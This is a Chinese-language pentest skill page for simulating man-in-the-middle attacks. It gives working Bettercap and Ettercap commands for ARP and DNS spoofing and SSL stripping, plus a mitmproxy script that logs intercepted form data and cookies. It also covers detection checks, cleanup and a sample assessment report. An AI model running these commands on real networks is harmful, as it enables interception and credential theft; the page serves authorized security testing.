Simulates man-in-the-middle attacks using Ettercap, mitmproxy, and Bettercap in authorized environments to intercept, analyze, and modify traffic, testing TLS encryption, certificate validation, and detection.
npx claudepluginhub killvxk/cybersecurity-skills-zhThis skill uses the workspace's default tool permissions.
- 测试应用程序是否正确验证 TLS 证书并强制执行加密通信
Simulates man-in-the-middle attacks using Ettercap, mitmproxy, and Bettercap to intercept, analyze, and modify traffic for testing TLS validation, encryption enforcement, and detection in authorized environments.
Simulates MITM attacks with Ettercap, mitmproxy, Bettercap via bash to test TLS enforcement, certificate validation, HSTS, and detection in authorized environments.
Simulates SSL stripping attacks using sslstrip, Bettercap, and mitmproxy to test HSTS enforcement, certificate validation, and HTTPS upgrade protections in authorized pentests.
Share bugs, ideas, or general feedback.
不适用于:在未经明确书面授权和回滚计划的情况下对生产网络使用,针对您不拥有或未获授权测试的系统,或拦截无关第三方的通信。
# 启用 IP 转发
sudo sysctl -w net.ipv4.ip_forward=1
sudo sysctl -w net.ipv6.conf.all.forwarding=1
# 禁用 ICMP 重定向
sudo sysctl -w net.ipv4.conf.all.send_redirects=0
# 为 TLS 拦截生成 CA 证书
openssl genrsa -out mitm-ca.key 4096
openssl req -new -x509 -days 30 -key mitm-ca.key -out mitm-ca.crt \
-subj "/CN=MITM Test CA/O=Security Assessment/C=US"
# 发现目标网络上的主机
sudo bettercap -iface eth0 -eval "net.probe on; sleep 10; net.show; quit"
# 以交互模式启动 Bettercap
sudo bettercap -iface eth0
# 启用网络探测以发现主机
> net.probe on
# 显示已发现的主机
> net.show
# 设置目标(受害者:192.168.1.50,网关:192.168.1.1)
> set arp.spoof.targets 192.168.1.50
> set arp.spoof.fullduplex true
# 启动 ARP 欺骗
> arp.spoof on
# 启用 HTTP 代理进行流量检查
> set http.proxy.sslstrip true
> http.proxy on
# 使用证书拦截启用 HTTPS 代理
> set https.proxy.certificate mitm-ca.crt
> set https.proxy.key mitm-ca.key
> https.proxy on
# 对特定域名启用 DNS 欺骗
> set dns.spoof.domains example.com,*.example.com
> set dns.spoof.address 192.168.1.99
> dns.spoof on
# 启用凭据嗅探器
> set net.sniff.verbose true
> set net.sniff.filter "tcp port 80 or tcp port 21 or tcp port 110"
> net.sniff on
# 以透明代理模式启动 mitmproxy
sudo mitmproxy --mode transparent --set confdir=~/.mitmproxy \
--set ssl_insecure=true -w mitm_capture.flow
# 配置 iptables 将流量重定向到 mitmproxy
sudo iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 8080
sudo iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 443 -j REDIRECT --to-port 8080
# 使用 mitmproxy 脚本进行自动化凭据提取
cat > extract_creds.py << 'PYEOF'
"""mitmproxy 脚本,用于从拦截的流量中提取凭据。"""
from mitmproxy import http
import json
def request(flow: http.HTTPFlow):
if flow.request.method == "POST":
content_type = flow.request.headers.get("content-type", "")
if "form" in content_type or "json" in content_type:
with open("captured_forms.log", "a") as f:
f.write(f"URL: {flow.request.pretty_url}\n")
f.write(f"Data: {flow.request.get_text()}\n")
f.write("---\n")
def response(flow: http.HTTPFlow):
# 记录认证 Cookie
if "set-cookie" in flow.response.headers:
with open("captured_cookies.log", "a") as f:
f.write(f"URL: {flow.request.pretty_url}\n")
f.write(f"Cookie: {flow.response.headers['set-cookie']}\n")
f.write("---\n")
PYEOF
sudo mitmproxy --mode transparent -s extract_creds.py -w mitm_capture.flow
# 使用 Ettercap 进行 DNS 欺骗
sudo tee /etc/ettercap/etter.dns << 'EOF'
# 将目标域名重定向到攻击者的 Web 服务器
example.com A 192.168.1.99
*.example.com A 192.168.1.99
www.example.com A 192.168.1.99
EOF
sudo ettercap -T -q -i eth0 -M arp:remote -P dns_spoof /192.168.1.50// /192.168.1.1//
# 使用 Bettercap 进行 DHCP 欺骗(提供以攻击者为网关的流氓 DHCP)
sudo bettercap -iface eth0
> set dhcp6.spoof.domains example.com
> dhcp6.spoof on
# 在攻击者机器上设置钓鱼页面
sudo python3 -m http.server 80 --directory /var/www/phishing/
# 验证目标应用程序的证书固定是否有效
# 如果应用拒绝中间人攻击 CA,则证书固定有效
# 检查目标机器上的证书错误
# 测试 HSTS 执行
# 初始 HTTPS 后浏览器拒绝 HTTP 连接,则 HSTS 有效
curl -v -k -L http://example.com 2>&1 | grep -i "strict-transport-security"
# 验证 IDS 对 ARP 欺骗的检测
# 检查 Snort/Suricata ARP 异常告警
grep -i "arp" /var/log/snort/alert_fast.txt
# 检查交换机是否检测到攻击(DAI 日志)
# 在 Cisco 交换机上:show ip arp inspection log
# 测试网络监控工具
# 验证 Zeek 是否生成了相应的告警
cat /opt/zeek/logs/current/notice.log | zeek-cut note msg
# 捕获成功/失败拦截的证据
tshark -i eth0 -f "host 192.168.1.50" -w mitm_evidence.pcapng -a duration:300
# 停止所有中间人攻击
# 在 Bettercap 中:
> arp.spoof off
> http.proxy off
> https.proxy off
> dns.spoof off
> quit
# 恢复 IP 转发
sudo sysctl -w net.ipv4.ip_forward=0
# 删除 iptables 规则
sudo iptables -t nat -F PREROUTING
# 验证目标主机的 ARP 表是否已恢复
# 目标应通过正常 ARP 重新学习正确的 MAC 地址
# 强制刷新 ARP 缓存(从目标机器执行)
# arp -d 192.168.1.1 && ping -c 1 192.168.1.1
# 从安装过测试 CA 证书的系统中移除它
# 按任务协议删除包含敏感数据的捕获文件
# 生成文档
echo "MITM 模拟在 $(date) 完成" >> mitm_report.txt
sha256sum mitm_capture.flow mitm_evidence.pcapng >> mitm_report.txt
| 术语 | 定义 |
|---|---|
| 中间人攻击(Man-in-the-Middle, MITM) | 攻击者秘密拦截并可能篡改两方之间通信的攻击,而双方误以为在直接通信 |
| SSL 剥离(SSL Stripping) | 通过在 TLS 升级前拦截初始 HTTP 请求,将 HTTPS 连接降级为 HTTP 的降级攻击,绕过加密 |
| HSTS(HTTP 严格传输安全) | 强制 HTTPS 连接的浏览器安全策略,通过缓存加密连接要求来防止 SSL 剥离 |
| 证书固定(Certificate Pinning) | 将服务器证书与预配置的可信证书集进行验证的应用安全控制,可检测中间人代理证书 |
| ARP 缓存投毒(ARP Cache Poisoning) | 通过破坏目标主机的 ARP 缓存,将流量重定向到攻击者机器的二层攻击技术 |
| 透明代理(Transparent Proxy) | 无需客户端配置即可拦截流量的代理,通常使用 iptables REDIRECT 规则捕获发往标准端口的流量 |
场景背景:开发团队声称其内部 Web 应用程序强制执行 HTTPS 并配有 HSTS 和证书固定。安全团队需要在授权评估期间验证这些控制措施。应用程序运行在 10.10.20.50,由 10.10.1.0/24 VLAN 上的工作站访问。
方法:
常见陷阱:
## 中间人攻击模拟报告
**测试 ID**: MITM-2024-001
**日期**: 2024-03-15 14:00-16:00 UTC
**目标应用程序**: https://app.internal.corp (10.10.20.50)
**测试工作站**: 10.10.1.100
**攻击机器**: 10.10.1.99
### 控制验证结果
| 控制项 | 状态 | 详情 |
|---------|--------|---------|
| HTTPS 重定向 | 通过 | HTTP 请求以 301 重定向到 HTTPS |
| HSTS 头部 | 通过 | max-age=31536000; includeSubDomains; preload |
| SSL 剥离(浏览器) | 已阻止 | HSTS 阻止 Chrome/Firefox 中的降级 |
| SSL 剥离(厚客户端) | 存在漏洞 | 客户端在无 HSTS 的情况下跟随 HTTP 重定向 |
| 证书固定(浏览器) | 不适用 | 仅标准 CA 验证 |
| 证书固定(厚客户端) | 存在漏洞 | 接受中间人攻击 CA 而不验证 |
| IDS 检测 | 通过 | Snort 在 12 秒内生成 ARP 欺骗告警 |
### 建议
1. 在厚客户端实现证书固定(高优先级)
2. 提交域名到 HSTS 预加载列表
3. 在接入层交换机上启用动态 ARP 检测(DAI)进行二层保护
4. 配置应用程序拒绝来自非固定证书的连接